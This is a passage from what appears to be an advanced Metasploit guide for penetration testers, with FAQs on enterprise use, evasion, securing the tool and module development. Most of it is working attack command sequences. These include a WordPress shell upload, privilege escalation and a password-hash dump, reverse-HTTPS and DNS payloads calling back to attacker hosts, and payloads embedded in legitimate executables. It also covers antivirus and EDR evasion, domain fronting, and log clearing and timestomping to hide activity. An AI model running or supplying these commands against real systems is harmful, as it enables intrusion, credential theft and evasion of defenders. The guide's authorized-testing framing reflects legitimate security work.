msf6 exploit(unix/webapp/wp_admin_shell_upload) > set TARGETURI /wordpress/
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set RHOSTS 192.168.1.50
msf6 exploit(unix/webapp/wp_admin_shell_upload) > exploit

# Phase 4: Privilege escalation on web server
meterpreter > getuid
meterpreter > background

msf6 > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
msf6 post(multi/recon/local_exploit_suggester) > run

msf6 > use exploit/linux/local/overlayfs_priv_esc
msf6 exploit(linux/local/overlayfs_priv_esc) > set SESSION 1
msf6 exploit(linux/local/overlayfs_priv_esc) > exploit

# Phase 5: Data extraction from web application databases
meterpreter > shell
shell> mysql -u root -p
mysql> show databases;
mysql> use wordpress;
mysql> select user_login, user_pass from wp_users;
mysql> exit
```

Best Practices and Ethical Considerations

Documentation and Evidence Collection

Implement methodical documentation during security assessments:

```
# Enable session logging
msf6 > spool /path/to/msf_session_log.txt

# Collect specific evidence
msf6 > sessions -i 1
meterpreter > screenshot
meterpreter > run post/windows/gather/forensics/imager DRIVE=C

# Use notes functionality for important findings
msf6 > notes
msf6 > note -t domain_creds -d "Found domain admin credentials" -c "Administrator:Hash"

# Document host information
msf6 > hosts -c address,os_name,purpose
msf6 > services -c port,proto,name,info

# Export detailed results
msf6 > db_export -f xml assessment_results.xml
msf6 > spool off
```

Operational Security Considerations

Maintain operational security throughout assessments:

```
# Configure connection obfuscation
msf6 > use payload/windows/meterpreter/reverse_https
msf6 payload(windows/meterpreter/reverse_https) > set StagerVerifySSLCert true
msf6 payload(windows/meterpreter/reverse_https) > set HandlerSSLCert /path/to/legitimate_cert.pem
msf6 payload(windows/meterpreter/reverse_https) > set SessionCommunicationTimeout 300
msf6 payload(windows/meterpreter/reverse_https) > set EnableStageEncoding true
msf6 payload(windows/meterpreter/reverse_https) > set StageEncoder x86/shikata_ga_nai
msf6 payload(windows/meterpreter/reverse_https) > set HttpUserAgent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"

# Implement secure cleanup procedures
msf6 > sessions -i 1
meterpreter > getsystem
meterpreter > timestomp C:\\Windows\\Temp\\payload.exe -z "01/01/2020 12:00:00"
meterpreter > rm C:\\Windows\\Temp\\payload.exe
meterpreter > clearev
meterpreter > run post/windows/manage/delete_logs

# Use resource files to ensure consistent procedures
cat > secure_operations.rc << EOF
spool /tmp/assessment_log.txt
setg LHOST 192.168.1.100
setg LPORT 443
setg EnableStageEncoding true
setg StageEncoder x86/shikata_ga_nai
setg SessionCommunicationTimeout 300
setg HttpUserAgent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
EOF
```

Authorization and Scope Management

Establish clear boundaries for security assessments:

```
# Create a target-limited resource script
cat > authorized_scope.rc << EOF
# Only scan authorized targets
setg RHOSTS 192.168.1.50,192.168.1.51,192.168.1.100-192.168.1.110

# Limit testing to specified ports
setg RPORTS 80,443,22,3389
```

```
# Avoid dangerous modules
setg BADMODULES auxiliary/dos,exploit/windows/smb/ms08_067_netapi

# Custom function to check if module is allowed
<ruby>
def check_module(mod)
  bad_modules = framework.datastore['BADMODULES'].split(',')
  bad_modules.each do |bad|
    if mod.fullname.include?(bad)
      print_error("Module #{mod.fullname} is not allowed in this assessment!")
      return false
    end
  end
  return true
end

def is_host_allowed(host)
  allowed = framework.datastore['RHOSTS'].split(',')
  allowed.each do |range|
    if range.include?('-')
      start_ip, end_ip = range.split('-')
      if Rex::Socket.addr_atoi(host) >= Rex::Socket.addr_atoi(start_ip) &&
         Rex::Socket.addr_atoi(host) <= Rex::Socket.addr_atoi(end_ip)
        return true
      end
    elsif host == range
      return true
    end
  end
  print_error("Host #{host} is outside authorized scope!")
  return false
end

# Override module exec to enforce restrictions
alias original_mod_execute framework.modules.method(:execute)

framework.modules.singleton_class.send(:define_method, :execute) do |name, *args|
  mod = framework.modules.create(name)

  if check_module(mod)
    if mod.datastore['RHOSTS']
      hosts = mod.datastore['RHOSTS'].split(' ')
      hosts.each do |h|
        if !is_host_allowed(h)
          return nil
        end
      end
    end
    original_mod_execute.call(name, *args)
  else
    nil
  end
end
</ruby>

# Log all activities for audit
spool /tmp/authorized_assessment_log.txt
EOF
```

Conclusion

The Metasploit Framework stands as one of cybersecurity's most versatile and powerful platforms, offering comprehensive capabilities for all phases of security testing. This technical guide has explored the advanced techniques and command syntax necessary to leverage Metasploit's full potential, from sophisticated exploitation to custom module development.

As security professionals continue to face evolving threats and defensive technologies, mastering Metasploit's advanced features provides a significant advantage in identifying vulnerabilities before malicious actors can exploit them. By combining Metasploit's capabilities with sound methodology and ethical practices, security teams can substantially improve their organization's security posture.

The key to effective Metasploit utilization lies not just in executing individual commands, but in developing a comprehensive workflow that integrates reconnaissance, exploitation, post-exploitation, and documentation into a cohesive assessment methodology. This approach, combined with custom automation and module development, enables security professionals to conduct thorough, efficient, and ethical security evaluations.

Frequently Asked Questions

How can I optimize Metasploit for large-scale enterprise environments?

For efficient operation in enterprise environments:

1. **Database Optimization**: Ensure PostgreSQL is properly configured with adequate resources. Consider using `autovacuum_analyze_scale_factor = 0.01` and `maintenance_work_mem = 256MB` in `postgresql.conf` for large datasets.
2. **Workspace Management**: Create separate workspaces for different network segments or assessment phases:

```
msf6 > workspace -a dmz_assessment
msf6 > workspace -a internal_network
msf6 > workspace -a critical_systems
```

3. **Resource Utilization Control**: Adjust thread counts and scan timing based on network capacity:

```
msf6 > setg THREADS 25
msf6 > set TIMEOUT 120
msf6 > set ConnectTimeout 10
```

4. **Distributed Operations**: For very large environments, deploy multiple Metasploit instances with coordinated scope:

```
# First instance
msf6 > setg RHOSTS 10.0.0.0/16

# Second instance
msf6 > setg RHOSTS 10.1.0.0/16
```

5. **Targeted Scanning**: Focus on high-value targets and services rather than comprehensive scanning:

```
msf6 > db_nmap -sV -p 80,443,3389,22 --open 10.0.0.0/24
```

6. **Automated Workflows**: Create environment-specific resource scripts for consistent execution.

What are the most effective ways to evade detection while using Metasploit?

Several advanced techniques can minimize detection:

1. **Custom Payload Generation**: Create payloads with multiple encoders and custom templates:

```
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=443 \
  -e x86/shikata_ga_nai -i 10 \
  -x /path/to/legitimate.exe \
  -f exe -o custom_payload.exe
```

2. **Communication Obfuscation**: Modify C2 traffic patterns with advanced options:

```
msf6 > set EnableStageEncoding true
msf6 > set HttpUserAgent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/90.0.4430.212"
msf6 > set SessionCommunicationTimeout 30
msf6 > set HttpUnknownRequestResponse "<html><body>It works!</body></html>"
```

3. **Operational Timing**: Control activity timing to avoid pattern detection:

```
msf6 > set WfsDelay 30
msf6 > set EnableContextEncoding true
msf6 > run post/windows/manage/timestomp OPTION=SET_FILE FILE=C:\\payload.exe
```

4. **Memory-Only Payloads**: Use reflective loading techniques:

```
msf6 > use exploit/windows/smb/psexec_psh
msf6 > set PAYLOAD windows/meterpreter/reverse_https
msf6 > set ReverseConnectRetries 5
```

5. **Alternative Channels**: Leverage uncommon protocols for C2:

```
msf6 > use payload/windows/meterpreter/reverse_dns
msf6 > set DOMAIN secure-update.company-cdn.com
```

How can I secure my Metasploit environment from unauthorized access?

Implement these security measures for your Metasploit installation:

1. **Database Security**: Configure PostgreSQL with authentication and encryption:

```
# Edit pg_hba.conf
host    msf     msf     127.0.0.1/32    md5
host    all     all     0.0.0.0/0       reject

# Set strong password
msfdb init
msfdb reinit
```

2. **Encrypted Communications**: Configure SSL for RPC and handler connections:

```
# Generate certificates
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -subj "/C=US/ST=Security/L=Testing/O=MSF/CN=msf-server" -keyout msf.k
cat msf.key msf.crt > msf.pem

# Start RPC server with SSL
msfrpcd -S -f -a 127.0.0.1 -p 55553 -U msf_user -P strong_password -c ~/msf.pem
```

3. **Workspace Isolation**: Implement separate workspaces for different engagements and users:

```
msf6 > workspace -a client_a_segregated
```

4. **File System Permissions**: Restrict access to Metasploit directories:

```
chmod 700 ~/.msf4/
chmod 600 ~/.msf4/config
chmod 600 ~/.msf4/history
```

5. **Logging and Monitoring**: Enable comprehensive logging for audit purposes:

```
msf6 > spool ~/.msf4/logs/msf_$(date +%F_%H-%M-%S).log
```

6. **Network Restrictions**: Configure host-based firewall rules to limit connectivity:

```
iptables -A INPUT -p tcp -s 192.168.1.0/24 --dport 55553 -j ACCEPT
iptables -A INPUT -p tcp --dport 55553 -j DROP
```

What are the best practices for developing custom Metasploit modules?

Follow these guidelines for effective module development:

1. **Structure and Documentation**: Implement thorough documentation:

```
'Name'           => 'Descriptive Module Name',
'Description'    => %q{
  Detailed explanation of what the module does,
  including vulnerability details and any specific
  version requirements or limitations.
},
'Author'         => [
  'Original Researcher',
  'Module Developer Name',
],
'License'        => MSF_LICENSE,
'References'     => [
  ['CVE', '2021-XXXXX'],
  ['URL', 'https://example.com/vulnerability-details'],
  ['PACKETSTORM', '12345']
],
```

2. **Error Handling**: Implement robust error handling for reliability:

```
begin
  # Critical operation
  connect
  # ...
rescue ::Rex::ConnectionRefused
  print_error("Connection refused")
  return
rescue ::Rex::HostUnreachable
  print_error("Host unreachable")
  return
rescue ::Rex::ConnectionTimeout
  print_error("Connection timed out")
  return
rescue => e
  print_error("Unhandled exception: #{e.class} - #{e.message}")
  return
ensure
  disconnect
end
```

3. **Testing Methodology**: Test modules thoroughly in isolated environments:

```
def check
  # Version detection
  begin
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, 'version')
    })

    if res && res.code == 200
      # Version parsing logic
      if version <= Rex::Version.new('1.2.3')
        return Exploit::CheckCode::Appears
      else
        return Exploit::CheckCode::Safe
      end
    end

    return Exploit::CheckCode::Unknown
  rescue
    return Exploit::CheckCode::Unknown
  end
end
```

4. **Optimize Performance**: Minimize network transactions and resource usage:

```
# Batch operations where possible
def run_batch(ip_range)
  Rex::Socket::RangeWalker.new(ip_range).each do |ip|
    # Process in batches
  end
end
```

5. **Follow Framework Conventions**: Adhere to Metasploit's coding standards and module organization:

```
# Register standard options
register_options(
  [
    OptString.new('TARGETURI', [true, 'The base path to the application', '/']),
    OptInt.new('DEPTH', [true, 'Directory crawl depth', 3])
  ], self.class
)

# Register advanced options
register_advanced_options(
  [
    OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]),
    OptInt.new('TIMEOUT', [true, 'HTTP connection timeout in seconds', 10])
  ], self.class
)
```

How does Metasploit handle Antivirus evasion, and what are its limitations?

Metasploit provides several evasion capabilities, but also has important limitations:

Evasion Techniques:

1. **Payload Encoding**: Multiple encoders can obfuscate signatures:

```
msf6 > use payload/windows/meterpreter/reverse_tcp
msf6 payload(windows/meterpreter/reverse_tcp) > generate -e x86/shikata_ga_nai -i 15 -t exe
```

2. **Template Injection**: Embeds payload in legitimate executables:

```
msfvenom -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai -i 10 \
  -x /path/to/legitimate.exe -f exe -o modified.exe
```

3. **In-Memory Execution**: Reduces on-disk artifacts:

```
msf6 > use exploit/windows/smb/psexec_psh
```

4. **Custom Handlers**: Mimics legitimate traffic patterns:

```
msf6 > set HttpHostHeader office365.com
msf6 > set HttpUserAgent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
```

Limitations:

1. **Signature Detection**: Most built-in payloads are detected by modern AV solutions, requiring frequent updates and customization.
2. **Behavioral Detection**: Advanced EDR systems detect Metasploit activities based on behavior patterns rather than signatures.
3. **Standard Methods**: Many built-in post-exploitation modules use techniques monitored by security tools.
4. **Limited Evasion Modules**: The framework's evasion category contains fewer modules than other categories.

Advanced Evasion Approaches:

1. **Custom Shellcode Development**: Create unique shellcode outside Metasploit's standard library:

```
# Generate raw shellcode
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=443 -f raw > shellcode.bin

# Use custom loader
# Example: Integrate with custom C# loader that uses alternative execution techniques
```

2. **Alternative Execution Methods**: Leverage LOLBins (Living Off the Land Binaries):

```
# Generate PowerShell command
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=443 -f psh -o payload.ps1

# Use mshta or other LOLBins for execution
```

3. **Domain Fronting**: Configure redirectors and domain fronting for C2 obfuscation:

```
# Set up external redirector
msf6 > set LHOST redirector.example.com
msf6 > set LPORT 443
msf6 > set HttpHostHeader legitimate-cdn.com
```

For maximum evasion, security professionals often need to develop custom loaders and techniques outside of Metasploit's standard capabilities.